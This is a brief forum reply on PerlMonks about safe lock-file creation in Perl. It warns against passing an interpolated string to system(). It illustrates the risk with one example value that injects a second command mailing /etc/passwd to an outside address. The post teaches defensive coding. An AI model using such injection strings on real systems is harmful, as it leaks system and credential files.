http://www.perlmonks.org?node_id=26873


in reply to RE (2): Simple Locking
in thread Simple Locking

However KM pointed out to me that the system call to "touch" is not the best approach if the file does not exist.

I said this simply becuase it isn't a safe way to use system(). If someone passes "/tmp/file; mail me@me.com < /etc/passwd" as $lockfile, there could be trouble. I would either use a safer system like:

system("/bin/touch",$lockfile);

Or, simply an open FH, ">>$lockfile" ... approach.

Cheers,
KM